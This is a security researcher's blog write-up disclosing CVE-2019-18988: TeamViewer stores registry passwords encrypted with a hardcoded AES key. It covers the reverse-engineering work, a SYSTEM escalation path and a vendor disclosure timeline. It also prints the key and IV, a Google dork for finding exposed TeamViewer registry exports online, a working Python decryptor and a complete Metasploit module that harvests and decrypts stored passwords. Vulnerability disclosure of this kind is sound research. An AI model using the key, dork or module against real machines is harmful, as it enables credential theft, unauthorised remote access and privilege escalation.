12 minute read

Oh man where to even begin with this one. This was a crazy ride and I learned a ton along the way.

TL;DR: TeamViewer stored user passwords encrypted with AES-128-CBC with they key of 0602000000a400005253413100040000 and iv of 0100010067244F436E6762F25EA8D704 in the Windows registry. If the password is reused anywhere, privilege escalation is possible. If you do not have RDP rights to machine but TeamViewer is installed, you can use TeamViewer to remote in. TeamViewer also lets you copy data or schedule tasks to run through their Service, which runs as NT AUTHORITY\SYSTEM, so a low privilege user can immediately go to SYSTEM with a .bat file. This was assigned CVE-2019-18988.

I was on-site at a client and these guys were good. They fixed absolutely everything from the report last year. They were unaware of mimt6 and that’s how we started getting some hashes rolling in. After finally cracking one we quickly found out this place was very locked down. Even the network admin did not have local admin on any windows machines nor did they have RDP rights anywhere either. We were able to find a few open shares and connect to them. We came across a backup of TeamViewer registry keys. I noted in the backup there were things like OptionsPasswordAES or SecurityPasswordAES. I quickly looked up to see what I could do with this and I found out it’s not much. I could however import the registry settings or deploy them in a .msi so all the TeamViewer installs in the organization can have the same password. This lead me to believe there was a shared key across all TeamViewer which would backup the claim by the reg keys there is AES involved. In the end we were unable to compromise the client in time but the TeamViewer registry keys really stuck with me and thus begins this rabbit hole.

The first thing I did was try to find the installer for the exact same version from the TeamViewer registry keys which happened to be version 7. A quick google search shows TeamViewer kindly offers all old version for download still which can be found here. I setup a new Windows 10 VM and installed TeamViewer 7 on it. I played around with the settings and menus for a while. I imported the registry keys and was promptly locked out of the menu to change the options. It turns out the OptionsPasswordAES reg key is meant to keep unauthorized people out of the menu where you can change settings. I of course did not know the password and on a whim I downloaded BulletPassView from nirsoft and ran that. Surprisingly, it gave me back a password in plaintext. Excellent, now I can get back into the Options page and look at the Security part of the menu. I was hoping the predefined Unattended Access Password would show up in BulletPassView as well. It only showed up as asterisks. On the plane ride home from the client, I watched LiveOverflow’s video on Windows Game Hacking and how you can search through memory with Cheat Engine. So I download Cheat Engine to the VM and searched for the password I found earlier. There was one hit! I browsed that memory region and looked around. I discovered the Options Password is stored in cleartext in memory between the bytes 080088 and 000000000000. I kept looking around and then I found between 090088 and 000000000000 and this gave me the two different passwords for which I was looking! I decided to see how many people have poked at TeamViewer in the past and it turns out the clear text credentials in memory has already been found and assigned CVE-2018-14333. As it turns out there was a report on APT41 talking about how they attacked TeamViewer users or used TeamViewer to gain remote access to some users. The tweets were deleted but they can be seen here (Shout-out to the Internet Archive project and archive.is/archive.today).

After talking with some coworkers about looking for the key to decrypt future client passwords, @knavesec asked if my VM was connected to the internet. I said yes and then realized I need to test if the VM is downloading the AES key or if it is stored in the binary itself. I spun up a new Windows 10 VM, set the network to Host-Only mode, and copied the installer for TeamViewer over a HTTP server running on my host machine. I was in fact still able to see the passwords in plaintext. Now I needed to fire up IDA Pro and start reversing the massive binary that is TeamViewer. I spent weeks on this part. It got to the point I could tell if IDA was going to crash based on if it detected x-refs to a certain string in the binary. I was dumping memory in random places and running through each chunk of 32-bytes of memory at a time to see if I could luck onto the key. I was not able to and I chalked it up to using Python for the AES decryption and I noted there was the string Rijndael in TeamViewer so maybe they were using actual rijndael and not AES. I found out TeamViewer used Crypto++ for it’s encryption/decryption. As it turns out one of the supported modes in libcrypto++ was rijndael. I thought I was finally onto something. I used API Monitor to step through TeamViewer and Cheat Engine to search for the passwords and once they popped up in memory, I dump the processes memory using procdump and then ran through every single 32-byte chunk of memory as the key sliding by one byte at a time to ensure I hit every possible combination. Since I was now using C++ instead of python to do this, it went fairly quickly. However, it gave me nothing. (Spoiler alert: it may have but I was searching for the wrong thing.). I thought maybe procdump was compressing something so I learned how to dump memory using Frida and I ran through every possibility there as well, again with no luck. I decided to go back to reversing the binary.

I spent so long digging through the binary I knew there had to be a better way. I kept researching and researching and it turns out there is a large amount of people that want to find the assets AES keys for Unity games. This lead me to a blog post where I realized I was over thinking this and need to just use a debugger. After single stepping through TeamViewer for about 6 hours because I did not want to miss anything, I landed on the area of code that was responsible for the AES decryption. Here is a snippet from my notes.

=================================================
"ServerPasswordAES"=hex:88,44,d7,0a,b2,96,2a,3d,63,16,3c,ff,e4,15,04,fb
=================================================
Takes 8844d70ab2962a3d63163cffe41504fb into xmm0
Takes 5B659253E5E873D26723B7D5EAC06E3B into xmm1
pxor xmm0, xmm1
movdqa xmmword ptr ds:[eax],xmm0
[eax] = D3214559577E59EF04358B2A0ED56AC0

movdqa xmm1,xmmword ptr ds:[esi]     | [esi] = 25C8C8BD4298BB32A57EECBDBD045BBB
movdqa xmm0,xmmword ptr ds:[eax]     | [eax] = D3214559577E59EF04358B2A0ED56AC0
aesdec xmm0,xmm1                     | One round of an AES decryption, using Equivalent Inverse Cipher, 128-bit data (state) from xmm1 with 128-bit round key from xmm2/m128; store the result in xmm1.
movdqa xmmword ptr ds:[eax],xmm0     | [eax] = 6F AA 98 76 DE 11 7D 8D 7E B6 EE 61 2D 3D 15 52
movdqa xmm1,xmmword ptr ds:[esi+10]  | [esi+10]=[008FDE10]=79 DC 78 A6 67 50 73 8F E7 E6 57 8F 18 7A B7 06
add esi,20                           |
dec ecx                              | ecx = 3
aesdec xmm0,xmm1                     | do the actual decryption
movdqa xmmword ptr ds:[eax],xmm0     | [eax]=[008FDC90]=E3 58 26 46 A7 37 12 40 85 1C C0 43 7D 1F 1E 30

Three more rounds of aesdec then
aesdeclast xmm0, xmm1 .| Last round of AES decryption, using Equivalent Inverse Cipher, 128-bit data (state) from xmm2 with a 128-bit round key from xmm3/m128; store the result in xmm1. 

008FDC90  01 00 01 00 67 24 4F 43 6E 67 62 F2 5E A8 D7 04  ....g$OCngbò^¨×.

This portion of code takes the bytes from the registry for ServerPasswordAES and then decrypts it with what appeared to be the key of 25C8C8BD4298BB32A57EECBDBD045BBB this is actually incorrect. I asked a wizard @ecdhe what they knew about implementations of AES in assembly and they responded too quickly saying “the IV is supposed to be XOR’d with the first 128bits of the plaintext only after the aesdec”. I realized I missed the movdqa into xmm2 and the pxor xmm0,xmm1 was not further obfuscation but rather the IV being used. I set a breakpoint to the beginning of the function and restarted the process. The mov into xmm2 was they key of 0602000000a400005253413100040000. The IV is the decrypted bytes of ServerPasswordAES with the previously mentioned key and a null IV. In this case, the IV for SecurityPasswordAES was 0100010067244F436E6762F25EA8D704. This works for TeamViewer Version 7 out of the box and on the latest version of Teamviewer 14 as long as the SecurityPasswordExported key is available. At the time of writing, I have not confirmed if it works on PermanentPassword which appears to be the Unattended Access Password for TeamViewer 14.

In TeamViewer 14, they introduced a scripting engine for their business customers. Shown below is the output of sc.exe qc TeamViewer7.

PS C:\Users\Administrator\Documents\testing> sc.exe qc TeamViewer7
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: TeamViewer7
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files (x86)\TeamViewer\Version7\TeamViewer_Service.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : TeamViewer 7
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

Notice the last line in the output from tasklist /v. By having the password to a TeamViewer installation and the scripting engine enabled, you can escalate from a low privilege user to NT AUTHORITY\SYSTEM by only reading the registry.

PS C:\Users\Administrator\Documents\testing> tasklist /v

Image Name                     PID Session Name        Session#    Mem Usage Status          User Name                                              CPU Time Window Title
========================= ======== ================ =========== ============ =============== ================================================== ============ ============================================
System Idle Process              0 Services                   0          4 K Unknown         NT AUTHORITY\SYSTEM                                    69:20:56 N/A
System                           4 Services                   0        144 K Unknown         N/A                                                     0:01:43 N/A
smss.exe                       260 Services                   0      1,264 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 N/A
csrss.exe                      376 Services                   0      4,300 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:05 N/A
wininit.exe                    444 Services                   0      5,172 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:02 N/A
csrss.exe                      452 Console                    1      4,332 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 N/A
winlogon.exe                   504 Console                    1      8,364 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 N/A
services.exe                   568 Services                   0      7,368 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:04 N/A
lsass.exe                      576 Services                   0     21,076 K Unknown         NT AUTHORITY\SYSTEM                                     0:05:14 N/A
svchost.exe                    660 Services                   0     20,084 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:01 N/A
svchost.exe                    712 Services                   0     11,604 K Unknown         NT AUTHORITY\NETWORK SERVICE                            0:00:21 N/A
LogonUI.exe                    812 Console                    1     42,972 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 N/A
dwm.exe                        820 Console                    1     30,396 K Unknown         Window Manager\DWM-1                                    0:00:00 N/A
svchost.exe                    912 Services                   0     78,452 K Unknown         NT AUTHORITY\NETWORK SERVICE                            0:07:20 N/A
svchost.exe                    948 Services                   0     27,564 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:18 N/A
svchost.exe                    956 Services                   0     19,964 K Unknown         NT AUTHORITY\LOCAL SERVICE                              0:00:03 N/A
svchost.exe                    396 Services                   0     17,756 K Unknown         NT AUTHORITY\LOCAL SERVICE                              0:00:01 N/A
svchost.exe                    440 Services                   0      9,608 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:35 N/A
svchost.exe                   1060 Services                   0     68,988 K Unknown         NT AUTHORITY\SYSTEM                                     0:04:04 N/A
svchost.exe                   1072 Services                   0     27,036 K Unknown         NT AUTHORITY\LOCAL SERVICE                              0:00:02 N/A
VSSVC.exe                     1188 Services                   0      7,772 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 N/A
svchost.exe                   1256 Services                   0     23,948 K Unknown         NT AUTHORITY\NETWORK SERVICE                            0:00:33 N/A
svchost.exe                   1268 Services                   0      7,040 K Unknown         NT AUTHORITY\LOCAL SERVICE                              0:00:00 N/A
spoolsv.exe                   1952 Services                   0     24,168 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:05 N/A
svchost.exe                   2032 Services                   0     31,012 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:04 N/A
IpOverUsbSvc.exe              1172 Services                   0     15,688 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 N/A
SolidCP.VmConfig.exe          1580 Services                   0     36,636 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:05 N/A
TeamViewer_Service.exe        1908 Services                   0     14,908 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:01 N/A

Since you stuck around this long, here is a Google dork to find some TeamViewer registry keys. Yes, you can decrypt them. "SecurityPasswordAES" OR "OptionsPasswordAES" OR "SecurityPasswordExported" OR "PermanentPassword" filetype:reg

Timeline:

November 05th, 2019: Reach out to @TeamViewer_help on Twitter

November 05th, 2019: Send email to the Director of Security

November 14th, 2019: Request CVE based on precedent set by CVE-2014-1812

November 15th, 2019: Receive CVE-2019-18988

November 15th, 2019: Send email to Director of Security notifying them there is now a CVE assigned to this

November 18th, 2019: Receive first and only email back from vendor “We’re looking into it” email

January 13th, 2020: Status update request email sent to Director of Security

February 03rd, 2020: Publish writeup

See below for an implementation in Python as well as further below for a post metasploit module

import sys, hexdump, binascii
from Crypto.Cipher import AES

class AESCipher:
    def __init__(self, key):
        self.key = key

    def decrypt(self, iv, data):
        self.cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return self.cipher.decrypt(data)

key = binascii.unhexlify("0602000000a400005253413100040000")
iv = binascii.unhexlify("0100010067244F436E6762F25EA8D704")
hex_str_cipher = "d690a9d0a592327f99bb4c6a6b6d4cbe"			# output from the registry

ciphertext = binascii.unhexlify(hex_str_cipher)

raw_un = AESCipher(key).decrypt(iv, ciphertext)

print(hexdump.hexdump(raw_un))

password = raw_un.decode('utf-16')
print(password)
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
# @blurbdust based this code off of https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb
# and https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/enum_ms_product_keys.rb
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Registry

  def initialize(info={})
    super(update_info(info,
        'Name'          => 'Windows Gather TeamViewer Passwords',
        'Description'   => %q{ This module will find and decrypt stored TeamViewer keys },
        'License'       => MSF_LICENSE,
        'Author'        => [ 'Nic Losby <blurbdust[at]gmail.com>'],
        'Platform'      => [ 'win' ],
        'SessionTypes'  => [ 'meterpreter' ]
      ))
  end

  def app_list
    results = ""
    keys = [
      [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version7", "Version" ],
      [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version8", "Version" ],
      [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version9", "Version" ],
      [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version10", "Version" ],
      [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version11", "Version" ],
      [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version12", "Version" ],
      [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version13", "Version" ],
      [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version14", "Version" ],
      [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version15", "Version" ],
      [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer", "Version" ],
      [ "HKLM\\SOFTWARE\\TeamViewer\\Temp", "SecurityPasswordExported" ],
      [ "HKLM\\SOFTWARE\\TeamViewer", "Version" ],
    ]

    keys.each do |keyx86|

      #parent key
      p = keyx86[0,1].join

      #child key
      c = keyx86[1,1].join

      key      = nil
      keychunk = registry_getvaldata(p, c)
      key      = keychunk.unpack("C*") if not keychunk.nil?

      optpass  = registry_getvaldata(p, "OptionsPasswordAES")
      secpass  = registry_getvaldata(p, "SecurityPasswordAES")
      secpasse = registry_getvaldata(p, "SecurityPasswordExported")
      servpass = registry_getvaldata(p, "ServerPasswordAES")
      proxpass = registry_getvaldata(p, "ProxyPasswordAES")
      license  = registry_getvaldata(p, "LicenseKeyAES")

      if not optpass.nil? 
        decvalue = decrypt(optpass)
        if not decvalue.nil?
          print_good("Found Options Password: #{decvalue}")
          results << "Options:#{decvalue}\n"
        end
      end
      if not secpass.nil? 
        decvalue = decrypt(secpass)
        if not decvalue.nil?
          print_good("Found Security Password: #{decvalue}")
          results << "Security:#{decvalue}\n"
        end
      end
      if not secpasse.nil? 
        decvalue = decrypt(secpasse)
        if not decvalue.nil?
          print_good("Found Security Password Exported: #{decvalue}")
          results << "SecurityE:#{decvalue}\n"
        end
      end
      if not servpass.nil? 
        decvalue = decrypt(servpass)
        if not decvalue.nil?
          print_good("Found Server Password: #{decvalue}")
          results << "Server:#{decvalue}\n"
        end
      end
      if not proxpass.nil? 
        decvalue = decrypt(proxpass)
        if not decvalue.nil?
          print_good("Found Proxy Password: #{decvalue}")
          results << "Proxy:#{decvalue}\n"
        end
      end
      if not license.nil? 
        decvalue = decrypt(license)
        if not decvalue.nil?
          print_good("Found License Key: #{decvalue}")
          results << "License:#{decvalue}\n"
        end
      end
    end

    #Only save data to disk when there's something in the table
    if not results.empty?
      path = store_loot("host.teamviewer_passwords", "text/plain", session, results, "teamviewer_passwords.txt", "TeamViewer Passwords")
      print_good("Passwords stored in: #{path.to_s}")
    end
  end

  def decrypt(encrypted_data)
    password = ""
    return password unless encrypted_data

    password = ""
    original_data = encrypted_data.dup

    decoded = encrypted_data
    #print_status(decoded)

    key = "\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
    iv  = "\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
    aes = OpenSSL::Cipher.new("AES-128-CBC")
    begin
      aes.decrypt
      aes.key = key
      aes.iv = iv
      plaintext = aes.update(decoded)
      password = Rex::Text.to_ascii(plaintext, 'utf-16le')
      if plaintext.empty?
        return nil
      end
    rescue OpenSSL::Cipher::CipherError => e
      puts "Unable to decode: \"#{encrypted_data}\" Exception: #{e}"
    end

    password
  end

  def run
    print_status("Finding TeamViewer Passwords on #{sysinfo['Computer']}")
    app_list
  end
end